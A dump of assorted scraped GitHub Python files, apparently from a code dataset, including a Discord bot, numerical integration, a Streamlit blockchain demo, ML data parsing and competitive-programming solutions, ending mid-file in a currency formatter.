+{"seq_id":"13394335925","text":"import logging\n\nfrom discord import Guild, Member\n\nimport mongo\nfrom roles import RoleAuthority\n\nlogger = logging.getLogger(__name__)\n\n\nclass MemberAuthority:\n    __MEMBER_COLLECTION = \"members\"\n    __AUTHENTICATION_FIELD = \"authentication\"\n\n    __NAME_FIELD = \"name\"\n    __KEY_FIELD = \"key\"\n    __DISCORD_ID_FIELD = \"discord\"\n\n    def __init__(self, guild: Guild):\n        self.guild = guild\n\n    async def authenticate_member(self, member: Member, key: str) -> bool:\n        collection = mongo.db[self.__MEMBER_COLLECTION]\n        document = collection.find_one()\n\n        if not document:\n            document = {\n                self.__AUTHENTICATION_FIELD: []\n            }\n            collection.insert(document)\n        found = False\n        for auth_data in document[self.__AUTHENTICATION_FIELD]:\n            if auth_data[self.__KEY_FIELD] == key:\n                name = auth_data[self.__NAME_FIELD]\n                ra: RoleAuthority = RoleAuthority(self.guild)\n                # try:\n                await member.edit(nick=name)\n                await member.add_roles(ra.student)\n                await member.remove_roles(ra.un_authenticated)\n                # except:\n                #     logger.error(\"Error authenticating user {}\".format(member.id))\n                if self.__DISCORD_ID_FIELD in auth_data and auth_data[self.__DISCORD_ID_FIELD] != member.id:\n                    logger.error(\"Student tried to auth with a new account.  New ID: {}, Old ID: {}\".format(\n                        member.id,\n                        auth_data[self.__DISCORD_ID_FIELD]\n                    ))\n                    return False\n                auth_data[self.__DISCORD_ID_FIELD] = member.id\n\n                found = True\n                break\n\n        collection.replace_one({\"_id\": document[\"_id\"]}, document)\n        return found\n","repo_name":"CMSC-201/office-hours-bot","sub_path":"bot/member.py","file_name":"member.py","file_ext":"py","file_size_in_byte":1835,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"16"}
+{"seq_id":"44117245472","text":"#FOR - Serve para percorrer sobre coleções e realizar determinadas ações\n#WHILE - Serve para realizar uma determinada ação de acordo com a condição que for estabelecida\n\ncarros=[\"Carro0\",\"Carro1\",\"Carro2\",\"Carro3\",\"Carro4\",\"Carro5\"]\nprint(carros)\n\nfor x in carros: #x é a variavel criada e IN é para identificar qual lista desejamos percorrer\n    print(x)\n    if x == \"Carro0\": #Realiza uma verificação\n        print(\"  BMW\") #Caso a verificação seja verdadeira, exibe BMW abaixo do indice 0\n\ntexto=\"Texto de exemplo\"\nfor y in texto:\n    print(texto) #Vai ser exibido a string 16 vezes porque é a quantidade de elementos que contem na variavel\n\ntexto2=\"Texto de exemplo 2\"\nfor z in texto2:\n    print(texto2)\n    break #Vai exibir apenas 1 resultado da string porque é um comando de parada\n          #Ou seja, quando a condição é atingida, este comando interrompe a ação\n","repo_name":"Mileriss/Curso_Python","sub_path":"Aulas/11 - FOR.py","file_name":"11 - FOR.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"681261338","text":"# -*- coding: utf-8 -*-\n#\nimport numpy\n\nfrom .dunavant import Dunavant\n\nfrom .. import helpers\nfrom ..nsimplex import transform, get_vol, integrate\n\n\ndef show(*args, **kwargs):\n    import matplotlib.pyplot as plt\n\n    plot(*args, **kwargs)\n    plt.show()\n    return\n\n\ndef plot(\n    scheme,\n    triangle=numpy.array([[-0.5, 0.0], [+0.5, 0.0], [0, 0.5 * (numpy.sqrt(3))]]),\n    show_axes=False,\n):\n    \"\"\"Shows the quadrature points on a given triangle. The size of the circles\n    around the points coincides with their weights.\n    \"\"\"\n    import matplotlib.pyplot as plt\n\n    plt.plot(triangle[:, 0], triangle[:, 1], \"-k\")\n    plt.plot([triangle[-1, 0], triangle[0, 0]], [triangle[-1, 1], triangle[0, 1]], \"-k\")\n\n    if not show_axes:\n        plt.gca().set_axis_off()\n\n    transformed_pts = transform(scheme.points.T, triangle.T).T\n\n    vol = get_vol(triangle)\n    helpers.plot_disks(plt, transformed_pts, scheme.weights, vol)\n\n    plt.axis(\"equal\")\n    return\n\n\ndef _numpy_all_except(a, axis=-1):\n    axes = numpy.arange(a.ndim)\n    axes = numpy.delete(axes, axis)\n    return numpy.all(a, axis=tuple(axes))\n\n\ndef integrate_adaptive(\n    f,\n    triangles,\n    eps,\n    minimum_triangle_area=None,\n    scheme1=Dunavant(5),\n    scheme2=Dunavant(10),\n    dot=numpy.dot,\n):\n    sumfun = numpy.sum\n\n    triangles = numpy.array(triangles)\n    if len(triangles.shape) == 2:\n        # add dimension in the second-to-last place\n        triangles = numpy.expand_dims(triangles, -2)\n\n    areas = get_vol(triangles)\n    total_area = sumfun(areas)\n\n    if minimum_triangle_area is None:\n        minimum_triangle_area = total_area * 0.25 ** 10\n\n    val1 = integrate(f, triangles, scheme1, dot=dot)\n    val2 = integrate(f, triangles, scheme2, dot=dot)\n    error_estimate = abs(val1 - val2)\n\n    # Mark intervals with acceptable approximations. For this, take all()\n    # across every dimension except the last one, which is the interval index.\n    is_good = _numpy_all_except(error_estimate < eps * areas / total_area, axis=-1)\n\n    # add values from good intervals to sum\n    quad_sum = sumfun(val1[..., is_good], axis=-1)\n    global_error_estimate = sumfun(error_estimate[..., is_good], axis=-1)\n\n    is_bad = numpy.logical_not(is_good)\n    while any(is_bad):\n        # split the bad triangles into four #triforce\n        #\n        #         /\\\n        #        /__\\\n        #       /\\  /\\\n        #      /__\\/__\\\n        #\n        triangles = triangles[..., is_bad, :]\n        midpoints = [\n            0.5 * (triangles[1] + triangles[2]),\n            0.5 * (triangles[2] + triangles[0]),\n            0.5 * (triangles[0] + triangles[1]),\n        ]\n        triangles = numpy.array(\n            [\n                numpy.concatenate(\n                    [triangles[0], triangles[1], triangles[2], midpoints[0]]\n                ),\n                numpy.concatenate(\n                    [midpoints[1], midpoints[2], midpoints[0], midpoints[1]]\n                ),\n                numpy.concatenate(\n                    [midpoints[2], midpoints[0], midpoints[1], midpoints[2]]\n                ),\n            ]\n        )\n        areas = get_vol(triangles)\n        assert all(areas > minimum_triangle_area)\n\n        # compute values and error estimates for the new intervals\n        val1 = integrate(f, triangles, scheme1, dot=dot)\n        val2 = integrate(f, triangles, scheme2, dot=dot)\n        error_estimate = abs(val1 - val2)\n\n        # mark good intervals, gather values and error estimates\n        is_good = _numpy_all_except(error_estimate < eps * areas / total_area, axis=-1)\n        # add values from good intervals to sum\n        quad_sum += sumfun(val1[..., is_good], axis=-1)\n        global_error_estimate += sumfun(error_estimate[..., is_good], axis=-1)\n        is_bad = numpy.logical_not(is_good)\n\n    return quad_sum, global_error_estimate\n","repo_name":"kassiuskohvakka/CompPhys-project","sub_path":"env/lib/python3.6/site-packages/quadpy/triangle/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":3835,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"29085711268","text":"import hashlib\nimport pandas as pd\nimport streamlit as st\nfrom typing import List  \nfrom typing import Any, List\nfrom datetime import datetime\nfrom dataclasses import dataclass\n#\nst.set_page_config(layout=\"wide\")\nst.title(\"# Blockchain illustration with multiple transactions\") \nst.write(\"By Y.X. Yan, v1.0, 1/10/2023\")\na1=f\"##### A blockchain is a distributed database or ledger that is shared among \"\na2=\"the nodes of a computer network. For this illustration, you can enter your\"\na3=\" transactions, see how the ledge building up, inspect each transaction, \"\na4=\" and save your data to a csv file called blockchain.csv. Please pay attention\"\na5=\" to two things: 1) each transaction has its unique hash (64-character long) by using the\"\na6=\" hashlib.sha256() function, and 2) it has its previous hash attached (except for the first one).\"\na7=\" To see column 2 completely, refresh your screen after entering your first transaction.\"\n#\nwith st.expander(\" Click here to see and hide the explanation:\"):\n    st.write(a1+a2+a3+a4+a5+a6+a7)\n#st.write(\" .   \")\n#st.write(\" .   \")\n#st.write(\" .   \")\n#st.write(\" .   \")\n#st.write(\".\")\ncol1, col2,col3 =st.columns([0.5,2.0,1.5])\n@dataclass   \nclass RecordTrade:\n    buyer_id: str\n    seller_id: str\n    shares: float\n@dataclass            # Block class\nclass Block:\n    record: RecordTrade\n    trade_time: str = datetime.utcnow().strftime(\"%Y:%m:%d:%H:%M:%S\")\n    prev_hash: str = \"0\"\n    def hash_block(self):\n        sha = hashlib.sha256()                         # using the function \n        trade_time_encoded = self.trade_time.encode()  # Encode the time of trade\n        sha.update(trade_time_encoded)                 # Add the encoded trade time into the hash\n        record = str(self.record).encode()             # Encode the Record class\n        sha.update(record)                             # Then hash it\n        prev_hash = str(self.prev_hash).encode()\n        sha.update(prev_hash)\n        return sha.hexdigest() # Return the hash to the rest of the Block class\n@dataclass                     # StockChain class\nclass StockChain:\n    chain: List[Block]         # The class `StockChain` holds a list of blocks\n    def add_block(self, block):# The function `add_block` adds any new `block` to the `chain` list\n        self.chain += [block]\n#\ncol1.write(\"## Part 1: Enter transactions\") \nbuyer = col1.text_input(\"Enter a buyer's ID below:\") \nseller = col1.text_input(\"Enter a seller's ID below:\")\nshares = col1.text_input(\"Enter the amount below:\")\n#\n@st.cache(allow_output_mutation=True)         # Set up the web app for deployment\ndef setup():\n    genesis_block = Block(record=RecordTrade(shares=100, buyer_id=1, seller_id=2))\n    #genesis_block = Block(record=RecordTrade(shares, buyer_id, seller_id))\n    return StockChain([genesis_block])\nstockchain_live = setup()                     # Serve the web app\n#\nif st.button(\"Click here to add\"):            # add a button\n    prev_block = stockchain_live.chain[-1]    # Pull the original block to start on\n    prev_block_hash = prev_block.hash_block() # Hash the original block (to put into the next block)\n    new_block = Block(record=RecordTrade(buyer, seller, shares),prev_hash=prev_block_hash)\n    stockchain_live.add_block(new_block)      # Add the new_block to the existing chain\n    st.balloons()                             # Just for fun, we add a little pizzazz\n#\ncol2.write(\"## Blockchain ledger (refresh after the 1st transaction)\") \nstockchain_df = pd.DataFrame(stockchain_live.chain).astype(str) # Save the data from the blockchain as a DataFrame\ncol2.write(stockchain_df)                       # display the DataFrame data\n# ------- part 3----------------------\ncol3.write(\"## Part 2: Inspect individual blocks\")    # dropdown menu to select which block in the chain to display\nselected_block =col3.selectbox(\"Which block would you like to inspect?\", stockchain_live.chain)\ncol3.write(selected_block)                           # Display the selected block on the sidebar\ncol3.write(\"## Part 3: Download to blockchain.csv\")  # dropdown menu to select which block in the chain to display\nstockchain_df.index.name =\"N\"\ncsv = stockchain_df.to_csv().encode('utf-8')         # download \na=col3.download_button(\"Click here to download\",csv,\"blockchain.csv\",\"text/csv\",key='download-csv')\nif a==True:\n    col3.balloons()      \n# ----- part 5 ---------------\n#col3.write(\"# Part 5: clear\")        \n#if col3.button(\"Click here to clear\"):\n    #col3.write('place holder')\n    #del stockchain_df\n    #stockchain_live = setup()     \n #   caching.clear_cache()\n    #click on the ☰ menu, then “Clear cache”. \nwith st.expander(\" Click here to learn how to clear cache.\"):\n    st.write(\"#### Click on the triple bar (☰) menu (at the top-right corner), 'Clear cache', then refresh your screen.\")","repo_name":"paulyxy/blockchain-illustration-by-using-streamlit","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18912505090","text":"import ast\nimport os\nimport pathlib\nfrom configparser import ConfigParser\nfrom typing import Union\n\n\nclass ConfigManager(object):\n  \"\"\"\n  This class facilitates the use of config parser for the benchmarking\n\n  It helps to create a config (section), add/modify/remove the properties\n  (options)\n\n  args\n  ----\n      benchmark_name: `str`\n          a section name, pointing to a benchmark specific properties\n\n      path: `str`\n          a path where the config file should be saved for futher use\n\n  \"\"\"\n\n  def __init__(self, benchmark_name: str, path: Union[str, None] = None):\n\n    self.benchmark_name = benchmark_name\n    self.path_config = None\n    if path is None:\n      self.path_config = pathlib.Path(__file__).parent.absolute().joinpath(\n        \"conf.ini\")\n    else:\n      self.path_config = path\n\n    self.config = ConfigParser()\n    # if a config file exists already try to load it\n    if os.path.exists(self.path_config):\n      self.config = self._read_config(self.path_config)\n\n  def create_config(self, scenario_name: Union[str, None] = None,\n                    path: Union[str, None] = None, **kwargs):\n    \"\"\"\n    function to create a config file if it does not exist already\n    \"\"\"\n    if scenario_name is None:\n      scenario_name = self.benchmark_name\n\n    if path is None:\n      path = self.path_config\n\n    # do not allow to re-create a config for existing scenario_name\n    try:\n      self.config[scenario_name] = {}\n    except KeyError:\n      raise KeyError(\n        f\"Invalid scenario_name {scenario_name}. A configuration with this \"\n        f\"name is already exists in config file.\")\n\n    for key, value in kwargs.items():\n      self.config[scenario_name][key] = str(value)\n    # save the config file\n    self._write_config(path)\n    return self.config\n\n  def get_option(self, option: str):\n    \"\"\"\n    return the value for an option\n    \"\"\"\n    return self.config[self.benchmark_name][option]\n\n  def get_option_tolist(self, option: str):\n    \"\"\"\n    return the value for an option under a list format\n    \"\"\"\n    return self._str_to_list(self.config[self.benchmark_name][option])\n\n  def get_options_dict(self):\n    \"\"\"\n    retrun a dictionary of all the config options\n    \"\"\"\n    return dict(self.config[self.benchmark_name].items())\n\n  def edit_config_option(self, option: str, value: Union[str, None] = None,\n                         scenario_name: Union[str, None] = None):\n    \"\"\"\n    to add or edit an option for a scenario\n    \"\"\"\n    if scenario_name is None:\n      scenario_name = self.benchmark_name\n\n    if value is None:\n      value = \"\"\n    self.config.set(scenario_name, option, value)\n    return self.config\n\n  def remove_config_option(self, option: Union[str, None],\n                           scenario_name: Union[str, None] = None):\n    \"\"\"\n    to remove an option from a config\n    \"\"\"\n    if scenario_name is None:\n      scenario_name = self.benchmark_name\n    if option is None:\n      self.config.remove_section(scenario_name)\n    else:\n      self.config.remove_option(scenario_name, option)\n    return self.config\n\n  def _write_config(self, path: Union[str, None] = None):\n    \"\"\"\n    function to write the config to the file\n    \"\"\"\n    if path is None:\n      path = self.path_config\n\n    with open(path, \"w\") as configfile:\n      self.config.write(configfile)\n\n  def _read_config(self, path: Union[str, None] = None):\n    \"\"\"\n    read a config from file\n    \"\"\"\n    if path is None:\n      path = self.path_config\n\n    # TODO : verify if the indicated path exists\n\n    self.config.read(path)\n    return self.config\n\n  @staticmethod\n  def _str_to_list(string: str):\n    return ast.literal_eval(string)\n","repo_name":"seifou23i/Grid2Bench","sub_path":"configmanager/configmanager.py","file_name":"configmanager.py","file_ext":"py","file_size_in_byte":3652,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"74223305289","text":"class Solution:\n    @staticmethod\n    def worker():\n        T = int(input())\n        mod = 1000000007\n        dp = [[0] * 1001 for _ in range(1001)]\n        dp[0][0] = 1\n        for day in range(1, 1001):\n            for dish in range(1, day+1):\n                dp[day][dish] = (dp[day - 1][dish - 1] + dp[day-1][dish] * dish) % mod\n        while T:\n            T -= 1\n            n, m, k = list(map(int, input().split(' ')))\n            k = m if k > m else (n if k > n else k)\n            factorial = 1\n            total = 0\n            for dishes in range(1, k+1):\n                factorial = (factorial * (m-dishes+1)) % mod\n                total = (factorial * dp[n][dishes] + total) % mod\n            print(total)\nSolution.worker()","repo_name":"proModeLife/InternPrep","sub_path":"CP/CodeChef/Practice/NEWREST.py","file_name":"NEWREST.py","file_ext":"py","file_size_in_byte":736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40946873347","text":"from selenium import webdriver\nimport pandas as pd\nimport os\nimport time\n\nchro_path = '/Users/cyriltso/Documents/NBA Statistics/chromedriver'\n\nbrowser = webdriver.Chrome(os.path.join(os.getcwd(), chro_path))\n\npath = \"/Users/cyriltso/Documents/UCL Statistics/test\"\n\nurl = 'https://www.worldfootball.net/assists/champions-league-2011-2012/'\nbrowser.get(url)\n\ntable = browser.find_element_by_xpath('//*[@id=\"site\"]/div[3]/div[1]/div/div[3]/div/table')\ntime.sleep(4)\ntable_element = table.text.split('\\n')\nprint(table_element)\n\nplayers_list = []\n\nfor line_rank, lines in enumerate(table_element):\n    if line_rank == 0:\n        pass\n    else:\n        players_list.append(lines.split(' '))\n\nprint(players_list)\n\nfor content in players_list:\n    if len(content) == 8:\n        pass\n    elif len(content) == 7:\n        if content[0].isdigit():\n            content.insert(4, ' ')\n        else:\n            content.insert(1, ' ')\n    elif len(content) == 6:\n        content.insert(0, ' ')\n        content.insert(4, ' ')\n    elif len(content) == 5:\n        content.insert(0, ' ')\n        content.insert(2, ' ')\n        content.insert(4, ' ')\n\nprint(players_list)\n\ndf = pd.DataFrame({\n    'ASSISTS': 'Assists',\n    'RANK_A': [i[0] for i in players_list],\n    'NAME_A': [i[2] + ' ' + i[3] for i in players_list],\n    'TEAM_A': [i[5] + ' ' + i[6] for i in players_list],\n    'A': [i[7] for i in players_list]\n})\n\ndf = df[[\n    'ASSISTS', 'RANK_A', 'NAME_A', 'TEAM_A', 'A'\n]]\n\nprint(df)\n\ndf.to_csv(os.path.join(path, 'test2.csv'), index=False)\n","repo_name":"cyriltso/PFE-Data-Science","sub_path":"test/test2.py","file_name":"test2.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"22840101364","text":"class Solution:\n    def findValidSplit(self, nums: List[int]) -> int:\n        def findPrimes(num: int) -> list[int]:\n            primes = []\n            if num % 2 == 0:\n                primes.append(2)\n            while num % 2 == 0:\n                num //= 2\n            for i in range(3, int(num ** 0.5) + 1, 2):\n                if num % i == 0:\n                    primes.append(i)\n                while num % i == 0:\n                    num //= i\n            if num > 1:\n                primes.append(num)\n            return primes\n\n        # Calculating and storing prime factors\n        primeFactors = []\n        rightPrimes = defaultdict(int)\n        for i in nums:\n            pf = findPrimes(i)\n            for j in pf:\n                rightPrimes[j] += 1\n            primeFactors.append(pf)\n        # print(primeFactors)\n\n        # Finding the leftmost element with no common primes\n        overLap = set()\n        for i in range(len(nums) - 1):\n            for j in primeFactors[i]:\n                rightPrimes[j] -= 1\n                if j in rightPrimes and rightPrimes[j] > 0:\n                    overLap.add(j)\n                else:\n                    if j in overLap:\n                        overLap.remove(j)\n            if not overLap:\n                return i\n        return -1","repo_name":"Aayush65/LeetCodeSolutions","sub_path":"2584-split-the-array-to-make-coprime-products/2584-split-the-array-to-make-coprime-products.py","file_name":"2584-split-the-array-to-make-coprime-products.py","file_ext":"py","file_size_in_byte":1297,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"25673112620","text":"# Definition for singly-linked list.\nfrom typing import Optional\n\ndef PrintLL(head):\n    temp = head\n    while temp != None:\n        print(str(temp.val) + \" -> \", end=\"\")\n        temp = temp.next\n    print(\"None\")\n\n\nclass ListNode:\n    def __init__(self, val=0, next=None):\n        self.val = val\n        self.next = next\n        \n# Definition for singly-linked list.\n# class ListNode:\n#     def __init__(self, val=0, next=None):\n#         self.val = val\n#         self.next = next\nclass Solution:\n    def reverseBetween(self, head: Optional[ListNode], left: int, right: int) -> Optional[ListNode]:\n        if head == None or head.next == None or left == right:\n            return head\n        if head.next.next == None:\n            temp = head.next\n            temp.next = head\n            head.next = None\n            return temp\n        \n    # advance to the point we get the left node\n    # Doing the third step in an inelegant fashion at first:\n    # - save node immediately before left node\n    # - save node immediately after right node \n    # - save left node\n    # - save right node \n        preceding_node = None\n        temp = head\n        i = 0\n        while i < left - 1:\n            preceding_node = temp\n            temp = temp.next\n            i += 1\n        # temp will now be the node immediately before the left one.\n        left_node = temp\n\n        # then advance to right\n        while i < right - 1:\n            temp = temp.next\n            i += 1\n        # temp will now be the right node.\n        right_node = temp\n        if temp != None:\n            succeeding_node = temp.next\n        else:\n            succeeding_node = None\n\n        #print(f\"preceding_node: {preceding_node.val}\\nleft_node: {left_node.val}\\n \")\n        #print(f\"right_node: {right_node.val}\\nsucceeding_node: {str(succeeding_node.val) if succeeding_node else 'None'}\")\n\n\n\n    # reverse the sublist like reversing a normal linked list\n        temp = left_node\n        prev = preceding_node \n        forward = temp.next \n\n        while temp != succeeding_node:\n            forward = temp.next\n            temp.next = prev\n            prev = temp\n            temp = forward\n\n    # connect up the rest of the list\n    # this consist of:\n    # - Connect the node immediately before sublist to the new beginning \n    #   of the reversed sublist\n    # - Connect the new end of the sublist to the node immediately after\n    #   sublist\n    # so in above example, point 1 to 4, and then 2 to 5. \n        print(f\"left_node: {left_node.val}\")\n        left_node.next = succeeding_node\n        if preceding_node:\n            preceding_node.next = right_node\n        else:\n            head = right_node\n        \n        return head\n        \n\nif __name__ == \"__main__\":\n    s = Solution()\n    head1 = ListNode(1, ListNode(2, ListNode(3, ListNode(4, ListNode(5, None)))))\n    head2 = ListNode(3, ListNode(5, None))\n    PrintLL(s.reverseBetween(head1, 2, 4))\n    #s.reverseBetween(head2, 1, 2)","repo_name":"gundry2/gci_solutions","sub_path":"reverse_linked_sublist.py","file_name":"reverse_linked_sublist.py","file_ext":"py","file_size_in_byte":2973,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"279313649","text":"import tensorflow as tf\n\nfrom data.coco_tfrecord_decoder import TfExampleDecoder\nfrom utils.augmentation import SSDAugmentation\n\n\nclass Parser(object):\n    def __init__(self, anchor_instance, mode=None, **parser_params):\n\n        self._mode = mode\n        self._is_training = (mode == \"train\")\n        self._example_decoder = TfExampleDecoder()\n        self._anchor_instance = anchor_instance\n        self.output_size = parser_params['output_size']\n        self.proto_out_size = parser_params['proto_out_size']\n        self.num_max_padding = parser_params['num_max_padding']\n        self.matching_params = parser_params['matching_params']\n        self.augmentation_params = parser_params['augmentation_params']\n\n        if parser_params['label_map'] is not None:\n            keys = list(parser_params['label_map'].keys())\n            vals = [parser_params['label_map'][k] for k in keys]\n            keys = tf.constant(keys)\n            vals = tf.constant(vals)\n            self.dict_tensor = tf.lookup.StaticHashTable(\n                tf.lookup.KeyValueTensorInitializer(keys, vals), -1)\n        else:\n            self.dict_tensor = None\n\n        if mode == \"train\":\n            self._parse_fn = self._parse_train_data\n        elif mode == \"val\":\n            self._parse_fn = self._parse_eval_data\n        elif mode == \"test\":\n            self._parse_fn = self._parse_predict_data\n        else:\n            raise ValueError('mode is not defined.')\n\n    def __call__(self, value):\n        with tf.name_scope('parser'):\n            data = self._example_decoder.decode(value)\n            return self._parse_fn(data)\n\n    def _parse_common(self, data, mode='train'):\n\n        # The parse function parse single data only, not in batch (reminder for myself)\n        image = data['image']\n        classes = data['gt_classes']\n        boxes = data['gt_bboxes']\n        masks = data['gt_masks']\n        is_crowds = data['gt_is_crowd']\n\n        # if label_map is not none, remapping the class label, ex: COCO datasets\n        if self.dict_tensor is not None:\n            # todo clarify tf.int32 and tf.int64 on performance\n            classes = tf.cast(classes, tf.int32)\n            classes = self.dict_tensor.lookup(classes)\n            classes = tf.cast(classes, tf.int64)\n\n        # return original image for testing augmentation purpose\n        original_img = tf.image.convert_image_dtype(tf.identity(image), tf.float32)\n        original_img = tf.image.resize(original_img, [self.output_size, self.output_size])\n\n        # put crowd annotation after non_crowd annotation\n        crowd_idx = tf.where(is_crowds == True)[:, 0]\n        non_crowd_idx = tf.where(tf.logical_not(is_crowds))[:, 0]\n        idxs = tf.concat([non_crowd_idx, crowd_idx], axis=0)\n\n        classes = tf.gather(classes, idxs)\n        boxes = tf.gather(boxes, idxs)\n        masks = tf.gather(masks, idxs)\n        is_crowds = tf.gather(is_crowds, idxs)\n\n        # Data Augmentation, Normalization, and Resize\n        augmentor = SSDAugmentation(mode=mode, **self.augmentation_params)\n        image, masks, norm_boxes, classes, is_crowds = augmentor(image, masks, boxes, classes, is_crowds)\n\n        # Calculate num of crowd annotation here\n        num_crowd = tf.reduce_sum(tf.cast(is_crowds, tf.int32))\n\n        # remember to unnormalized the bbox\n        boxes = norm_boxes * self.output_size\n\n        # resized boxes for proto output size (for mask loss)\n        boxes_norm = norm_boxes * self.proto_out_size\n\n        # matching anchors\n        cls_targets, box_targets, max_id_for_anchors, match_positiveness = self._anchor_instance.matching(\n            boxes, classes, num_crowd, **self.matching_params)\n\n        if mode == 'train' and num_crowd > 0:\n            # if num_crowd > 0:\n            # tf.print(mode)\n            # do not return annotation, cuz it s not used in loss calculation but evaluation\n            masks = masks[:-num_crowd]\n            classes = classes[:-num_crowd]\n            boxes = boxes[:-num_crowd]\n            boxes_norm = boxes_norm[:-num_crowd]\n\n        # number of object in training sample\n        num_obj = tf.shape(classes)[0]\n        \"\"\"\n        if mode != 'train':\n            tf.print(\"clssssssss\", classes)\n            tf.print(\"num obj\", num_obj)\n        \"\"\"\n\n        # Padding classes and mask to fix length [batch_size, num_max_fix_padding, ...]\n        num_padding = self.num_max_padding - tf.shape(classes)[0]\n        pad_classes = tf.zeros([num_padding], dtype=tf.int64)\n        pad_boxes = tf.zeros([num_padding, 4])\n        pad_masks = tf.zeros([num_padding, self.proto_out_size, self.proto_out_size])\n\n        masks = tf.concat([masks, pad_masks], axis=0)\n        classes = tf.concat([classes, pad_classes], axis=0)\n        boxes = tf.concat([boxes, pad_boxes], axis=0)\n        boxes_norm = tf.concat([boxes_norm, pad_boxes], axis=0)\n\n        labels = {\n            'cls_targets': cls_targets,\n            'box_targets': box_targets,\n            'bbox': boxes,\n            'bbox_for_norm': boxes_norm,\n            'positiveness': match_positiveness,\n            'classes': classes,\n            'num_obj': num_obj,\n            'num_crowd': num_crowd,\n            'mask_target': masks,\n            'max_id_for_anchors': max_id_for_anchors,\n            'ori': original_img\n        }\n        return image, labels\n\n    def _parse_train_data(self, data):\n        return self._parse_common(data, 'train')\n\n    def _parse_eval_data(self, data):\n        return self._parse_common(data, 'val')\n\n    def _parse_predict_data(self, data):\n        return self._parse_common(data, 'test')\n","repo_name":"bihanli/YolactB","sub_path":"data/coco_tfrecord_parser.py","file_name":"coco_tfrecord_parser.py","file_ext":"py","file_size_in_byte":5590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"20552746041","text":"import yaml\nimport os\nimport datetime as dt\n\nclass Logger:\n    def __init__(self, length, width, num_mines,  seed, file=None):\n        self.file = file\n        self.game_config = {}\n        self.game_config['seed'] = seed\n        self.game_config['length'] = length\n        self.game_config['width'] = width\n        self.game_config['num_mines'] = num_mines\n        self.actions = []\n\n    def log(self, action, x, y):\n        self.actions.append((action, x, y))\n\n    def write(self, agent, final_score):\n        log_dir = os.path.join(os.getcwd(), \"logs\")\n        if not self.file:\n            file_name = \"{}-{}_{}_{}.yml\".format(agent, dt.datetime.now().strftime(\"%Y%d%m_%H%M%S\"), self.game_config['seed'], final_score)\n            self.file = os.path.join(log_dir, file_name)\n        if not os.path.exists(log_dir):\n            os.makedirs(log_dir)\n\n        with open(self.file, 'w') as fh:\n            yaml.dump({\n                'config': self.game_config,\n                'final_score': final_score,\n                'actions': self.actions\n            }, fh, indent=4, default_flow_style=False, width=1000)\n","repo_name":"yuzhoul1991/cs221-project","sub_path":"logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1113,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"32523714003","text":"##\r\nimport os\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport statistics\r\n\r\n\r\n#---------------------------------\r\n#Cambiar paths\r\n\r\nlabels = os.listdir('--path predicciones--')\r\nsegs = os.listdir('--path mascaras--')\r\n\r\nfor i in range(len(labels)):\r\n    command = r\"--path ejexutable-- --path predicciones--/\"+labels[i]+\" --path mascaras/\"+segs[i]+\"  -use DICE -xml resultados\"+str(i)+\".xhtml\"  # The command needs to be a string\r\n    os.system(command)\r\n    print(i)\r\n\r\n#Ejemplo\r\n##\r\n# labels = os.listdir('voltestsizekl5')\r\n# segs = os.listdir('volsgt')\r\n#\r\n# for i in range(len(labels)):\r\n#     command = r\"C:\\Users\\Usuario\\PycharmProjects\\pythonProject1\\EvaluateSegmentation\\builds\\Windows\\EvaluateSegmentation.exe voltestsizekl5/\"+labels[i]+\" volsgt/\"+segs[i]+\"  -use DICE,VOLSMTY,HDRFDST@0.95@ -xml resultados\"+str(i)+\".xhtml\"  # The command needs to be a string\r\n#     os.system(command)\r\n#     print(i)\r\n\r\n#----------------------------------\r\n\r\nfrom xml.dom import minidom\r\ndice=[]\r\nfor i in range(10):\r\n    doc = minidom.parse(\"resultados\"+str(i)+\".xhtml\")\r\n    a = doc.getElementsByTagName(\"DICE\")[0]\r\n    sid = a.getAttribute(\"value\")\r\n    dice.append(float(sid))\r\n\r\ndice=np.array(dice)\r\nd=statistics.mean(dice)\r\nprint('Dsc:'+str(d))","repo_name":"mfpenuela/ProjectAMLmfpenuela","sub_path":"Fetametrics.py","file_name":"Fetametrics.py","file_ext":"py","file_size_in_byte":1257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"74421826889","text":"# from gluon.storage import Storage\r\n# vendaAtual = Storage()  #vendaAtual é uma session\r\n# vendaAtual.codigo = 5555  #vendaAtual{'codigo':555}\r\n\r\n\r\nfrom datetime import datetime, timedelta\r\n\r\nclass double_real(object):\r\n    def __init__(self, valor):\r\n        self.valor = valor\r\n\r\n    # BR R$    \r\n    def real(self):\r\n        valor = '%.2f'%(float(self.valor)) #converte o valor em string e completa a casa decimal em 2\r\n        valor = valor.replace('.','') # tira a virgula da string\r\n        valorT = len(valor)-1 #conta quantos digitos tem a string\r\n        nValor = [] #cria um novoValor vazio\r\n        rValor = 'R$ ' # cria uma string \r\n        #serpara os digitos em um array\r\n        for item in valor:\r\n            nValor.append(item)\r\n        #         000,00\r\n        if valorT > 1:  \r\n            nValor.insert(-2,',')  \r\n        #     000.000,00\r\n        if valorT > 4:\r\n            nValor.insert(-6,'.')\r\n        # 000.000.000,00\r\n        if valorT > 7:\r\n            nValor.insert(-10,'.')    \r\n        # monta uma string com os valores do array 